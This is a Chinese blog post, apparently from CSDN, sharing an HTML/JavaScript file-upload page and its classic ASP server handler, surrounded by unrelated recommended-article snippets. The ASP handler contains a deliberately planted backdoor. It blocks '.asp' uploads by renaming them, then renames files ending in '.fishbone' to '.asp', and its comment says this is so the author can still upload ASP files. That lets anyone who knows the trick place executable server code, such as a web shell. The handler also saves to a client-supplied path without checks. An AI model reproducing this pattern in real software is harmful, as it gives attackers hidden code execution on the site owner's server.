html上传文件的实例

基于YOLO11深度学习的糖尿病视网膜病变智能诊断系统【Python源码+Pyqt5界面+数据集+训练代码】 本文详细介绍如何利用YOLO11深度学习技术构建糖尿病视网膜病变智能诊断系统。项目提供完整的Python源码、PyQt5图形界面、标注数据集及训练代码,实现从图片、视频到摄像头的多模态病变检测,旨在辅助医疗筛查,提升诊断效率。 阅读详情

html页面代码

 

<meta HTTP-EQUIV="content-type" CONTENT="text/html; charset=UTF-8">
上传文件
<INPUT TYPE="file" NAME="" id="a"><br>
存放路径
<INPUT TYPE="text" NAME="" id="b" onclick="showpath()">需写上文件名<BR>
<input type=button onclick='upload($("a").value,$("b").value)' value=上传><br>
<span id="spath"></span><br>
<span id="nowurl"></span>
<STYLE TYPE="text/css" TITLE="">
.tfont
{font-size:12px}
</STYLE> 


<SCRIPT LANGUAGE="JavaScript">
<!--
function showpath(){
    
var path=new Ajax();
    
var d=function(o){
    $(
"spath").innerHTML=o.responseText;};
    
var w=function(){};
    path.open(
"http://10.84.50.220/WebService1/uploadfile.asp","post",d,w);
}
function overit(){
event.srcElement.style.cursor
="hand";
event.srcElement.style.background
="#EECC99";
}
function outit(){
event.srcElement.style.background
="transparent";
}
function s(){
event.srcElement.parentNode.style.display
="none";
$(
"b").focus();
$(
'b').value=event.srcElement.innerHTML;
}
function upload(surl,turl){
    surl
=surl.replace(///g,"//");
    
var read=new xmlhttp();
    
var read2=new xmlhttp();
    
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");
    xml_dom.loadXML(
'<?xml version="1.0" ?> <root/>');
    xml_dom.documentElement.setAttribute(
"xmlns:dt""urn:schemas-microsoft-com:datatypes");
    
var l_node1 = xml_dom.createElement("file1");
    
var fname = xml_dom.createElement("name");
    l_node1.dataType 
= "bin.base64";
    read.open(
"get",surl,true);
    read.onreadystatechange
=p;
    read.send(
null);
        
function p(){
            
if (read.readystate==4)
            {
                fname.nodeTypedValue
=turl;
                l_node1.nodeTypedValue 
=read.responseBody;
                xml_dom.documentElement.appendChild(l_node1);
                xml_dom.documentElement.appendChild(fname);
                read2.open(
"POST","http://10.84.50.220/WebService1/uploadfile.asp",true);
                
try{read2.setRequestHeader("Content-Type","text/xml");}catch(e){
                
try{read2.overrideMimeType('text/xml');}catch(e){}
            }
        read2.onreadystatechange
=function(){
            
if(read2.readystate==4&&read2.status==200){
                $(
"nowurl").innerHTML="<a href=http://www.cnjpzs.com/fishbone/"+turl+">now url</a>";
            }
                
else{$("nowurl").innerHTML="上传中……"+read2.readystate;}
            }
        read2.send(xml_dom);
        }
    }
}
//xmlhttprequest对象
function xmlhttp(){
var xmlhttp = false;//以下写法为JS条件编译写法
/*
@cc_on
   @if (@_jscript_version >= 5)
      try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP")
      }
      catch (e){
         try {
         xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
         }
         catch (e2){
         xmlhttp = false
         }
      }
   @end
@
*/
if (!xmlhttp && typeof XMLHttpRequest != 'undefined')
    {xmlhttp 
= new XMLHttpRequest()}
return xmlhttp;
}
/*Ajax核心,兼容IE以及FF的XMLHttpRequest对象*/
function Ajax(){
    
var xmlhttp = false,isComplete = false;//以下写法为JS条件编译写法
    /*@cc_on
       @if (@_jscript_version >= 5)
          try {
          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP")
          }
          catch (e){
             try {
             xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
             }
             catch (e2){
             xmlhttp = false
             }
          }
       @end
    @
*/
    
if (!xmlhttp && typeof XMLHttpRequest != 'undefined')
        {xmlhttp 
= new XMLHttpRequest()}
     
this.open = function(url, method, feedback,process, arg)
      {
        
if (!xmlhttp) return false;
        isComplete 
= false;
        method 
= method.toUpperCase();
    
        
try {
          
if (method == "GET")
          {
            xmlhttp.open(method, url
+"?"+arg, true);
            arg 
= null;
          }
          
else
          {
            xmlhttp.open(method, url, 
true);
            xmlhttp.setRequestHeader(
"Method""POST "+url+" HTTP/1.1");
            xmlhttp.setRequestHeader(
"Content-Type","application/x-www-form-urlencoded");
            xmlhttp.setRequestHeader(
"Connection","close");
          }
          xmlhttp.onreadystatechange 
= function(){
            
if (xmlhttp.readyState == 4 && !isComplete)
            {
              isComplete 
= true;
              
if(xmlhttp.status==200){
                  feedback(xmlhttp);}
                  
else{feedback(xmlhttp.status)}
              }
              
else
              {process(xmlhttp.readyState);}
              
              };
          xmlhttp.send(arg);
        }
        
catch(z) { return false; }
        
return true;
      };
      
return this;
};
//=================
//
-->
</SCRIPT>

 对应的服务器上传文件:

 

<%@ language=vbscript codepage=65001%>
<%
dim ado_stream
dim xml_dom
dim xml_file1
Dim str
On Error Resume next
set ado_stream = Server.CreateObject("ADODB.Stream")
Set xml_dom = Server.CreateObject("Microsoft.XMLDOM")
xml_dom.load(request)
set xml_file1 = xml_dom.selectSingleNode("root/file1")
Set xml_name=xml_dom.selectSingleNode("root/name")
Set reg=new RegExp
reg.pattern
=".asp"
str
=xml_name.nodeTypedValue
str
=Replace(str,".asp",".txt")'将上传的asp文件重命名,防止别人上传asp文件
str=Replace(str,".fishbone",".asp")'如果name的后缀名为fishbone,则更名成asp文件,给自己上传asp文件留后门
ado_stream.Type = 1 
ado_stream.open 
ado_stream.write xml_file1.nodeTypedValue
ado_stream.SaveToFile server.mappath(
".")&""&str,2 ' 2=adSaveCreateOverWrite 
ado_stream.close
set ado_stream = Nothing 
set xml_dom = Nothing
If Err.number<>0 Then response.write Err.description
Response.Write 
"Upload successful!"
%
>
手把手教你搞定CAC会议投稿:从LaTeX模板到PDF eXpress避坑全流程 本文详细解析CAC会议投稿全流程,重点介绍LaTeX模板调整、Turnitin查重技巧及PDF eXpress校验避坑指南。通过实战案例和代码示例,帮助研究者高效完成IEEE格式论文投稿,避免常见技术性失误,提升投稿成功率。 阅读详情

相关推荐

HTML文件上传示例

如何实现通过css3 + HTML5 实现页面标签切换。。。。。。。。。。。。。。。。。。

php 使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性 定义和用法 multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。 实例: <form action="demo_form.asp" method="get"> Select images: <input type="file" name="img" multiple="multiple" /> <input type="submit" /> </form> 上面实例中的input file 可接受多个文件上传字段。 了解了html5中file的multiple属性,下面我们开始讲解使用html

html+javascript文件上传源码

网页上传文件源码,可设置需要上传文件个数,可设置上传目录,个人感觉很好用,分享下~

html/javascript实现简单的上传

简单的原生上传实现

JSON_J的博客 9121

html文件上传在线例子,文件上传的几个示例分享【推荐】

本篇将要和朋友们分享的是几个上传文件例子和逻辑步奏及自定义个简单的js上传插件我取名为shenniu.upfile-0.0.1.js;近来在讨论组中很有几个朋友咨询上传文件的代码和怎么下载上传文件,所以写了此篇文章,希望能为朋友们解答一些疑惑或能带来帮助,也谢谢各位多多支持点赞。以上是个人的看法,下面来正式分享今天的文章吧:使用iis发布保存上传文件文件夹示例A - 普通表单上传文件,Req...

weixin_29734123的博客 1294

HTML中简单实现文件的一键上传的操作

html中实现文件上传的方式为form表单中使用input type="file"控件,但是这个控件往往显示不是美观,影响页面效果,这时候,一般就通过一键上传的操作,来实现点击一个按钮上传文件. 原理: 设置一个具有file上传文件框的form表单,并且设置style表单为不显示的,同时呢,要对表单中的input控件进行onchange事件监听,当input控件改变的时候,就触发表单提...

weixin_30603633的博客 2000

HTML文件上传实例

我们平时经常做的是上传文件上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用。 首先我们需要了解的是上传文件三要素: 1.表单提交方式:post (get方式提交有大小限制,post没有) 2.表单的enctype属性:必须设置为multipart/form-data. 3.表单必须有文件上传项:file,且文件项需要给定name值 上传文件夹需要增加一个属性webkitdirectory,像这样: <input id="fileFolder" name="

Mr_Zang666的博客 338

html文件上传前端模板,开箱即用

模态框出现的时候发请求查询数据库中的字段并渲染到页面上,点击上传文件出现选择页面,监听input的change事件,触发后调用文件上传接口上传文件到后端,同时前端ui li 绑定的fileList数组新增元素,点击保存按钮调接口存储数据到数据库中。vue实例之外的部分:这个方法不写到methods里面的原因是使用了bootstrap-table插件,有些不兼容的地方,索性就写到外面。js部分:由于django框架的原因,{{}}的模板语法会和django自带的产生冲突,故改成[[]]。

weixin_52634104的博客 1904

php 上传html文件_php 使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性定义和用法multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。实例:Select images: 上面实例中的input file 可接受多个文件上传字段。了解了html5中file的multiple属性,下面我们开始讲解使用html5实现多文件上传实例代码:html:php代码:for($i=0; $i...

weixin_35882650的博客 97

html向php上传文件,php使用html5实现多文件上传实例

php使用html5实现多文件上传实例html没有出来之前,要实现php多文件上传比较麻烦,需要在form表单里面添加多个input file域。html5发布以后,我们可以使用input file的html5属性multiple来实现多文件上传,需要的`朋友可以参考下。首先向大家介绍一下html5中file的multiple属性定义和用法:multiple 属性规定输入字段可选择多个值。如果使...

weixin_39581945的博客 146

php调用多个html文件上传,php使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性定义和用法multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。实例:Select images: 上面实例中的input file 可接受多个文件上传字段。了解了html5中file的multiple属性,下面我们开始讲解使用html5实现多文件上传实例代码:html:php代码:for($i=0; $i...

weixin_33196106的博客 132

php html上传多个文件,php 使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性定义和用法multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。实例:Select images: 上面实例中的input file 可接受多个文件上传字段。了解了html5中file的multiple属性,下面我们开始讲解使用html5实现多文件上传实例代码:html:php代码:for($i=0; $i...

weixin_39834090的博客 135

php 如何接收html5 多个文件上传,php 使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性定义和用法multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。实例:Select images: 上面实例中的input file 可接受多个文件上传字段。了解了html5中file的multiple属性,下面我们开始讲解使用html5实现多文件上传实例代码:html:php代码:for($i=0; $i...

weixin_39585070的博客 232

php调用多个html文件上传,php 使用html5实现多文件上传实例

首先向大家介绍一下html5中file的multiple属性定义和用法multiple 属性规定输入字段可选择多个值。如果使用该属性,则字段可接受多个值。实例:Select images: 上面实例中的input file 可接受多个文件上传字段。了解了html5中file的multiple属性,下面我们开始讲解使用html5实现多文件上传实例代码:html:php代码:for($i=0; $i...

weixin_30980893的博客 123

HTML文件上传实例解析

文件上传是最古老的互联网操作之一,20多年来几乎没有怎么变化,还是操作麻烦、缺乏交互、用户体验差。 一、前端代码 英国程序员Remy Sharp总结了这些新的接口,本文在他的基础之上,讨论在前端采用HTML5的API,对文件上传进行渐进式增强: *iframe上传   *ajax上传   *进度条   *文件预览   *拖放上传 1.1 传统形式   文件上传的传统形式,是使用表单元素file,参考 http://www.ruanyifeng.com/blog/201...

Mr_Zang666的博客 233

html5简单文件上传,HTML5拖拉上传文件的简单实例

html5的pc上面实现了相当多的功能,工作中也用到了拖拉上传,特地记录下该功能在拖动目标上触发事件 (源元素):ondragstart - 用户开始拖动元素时触发ondrag - 元素正在拖动时触发ondragend - 用户完成元素拖动后触发释放目标时触发的事件:ondragenter - 当被鼠标拖动的对象进入其容器范围内时触发此事件ondragover - 当某被拖动的对象在另一对象容器...

weixin_39897687的博客 107

HTML上传文件(不跳转页面)

HTML上传文件(不跳转页面)点击上传按钮后,一般会跳转到表单action里的地址。在当前插入一个iframe标签,然后让表单target指向这个iframe标签即可。不bb,上代码: html页面代码: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>上传</title> <script type="text/javascri

ling926的博客 1万+

html5实现多文件上传示例代码

主要用到的是的multiple属性  复制代码 代码如下:   下面是页面的详细代码:  复制代码 代码如下:         Solution 4-5: Sending multiple files      action="http://10.10.25.31:8080/myupload/UploadPhotoServlet" E

果酱的博客 1771

HTML 上传文件

上接简单的 Django 项目 https://www.cnblogs.com/klvchen/p/10155538.html 这里需要注意两个地方: 表单提交方式需要是 post form 添加一个属性为 enctype="multipart/form-data" 在 index.html 加入input 标签 <!DOCTYPE html> <html lang="en"...

weixin_30500289的博客 1万+

10个对web开发人员有用的HTML文件上传技巧

作者: Tapas Adhikary 译者:前端小智 来源:dev 最近开源了一个 Vue 组件,还不够完善,欢迎大家来一起完善它,也希望大家能给个 star 支持一下,谢谢各位了。 github 地址:https://github.com/qq449245884/vue-okr-tree 简介 上传文件功能可以说是项目经常出现的需求。从在社交媒体上上传照片到在求职网站上发布简历,文件上传无处不在。在本文中,我们将讨论 HTML文件上传支持的10种用法,希望对你有用。 1. 单文件上传 我们可以将inp.

粉丝们务必加入微信粉丝群 1768

THK产品综合目录及计算软件.zip

THK产品综合目录及计算软件

上一篇: JavaScript按照MVC模式制作自定义控件(3)
下一篇: Documentation Center
ppanyong
博客等级 码龄22年 29粉丝 65原创
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值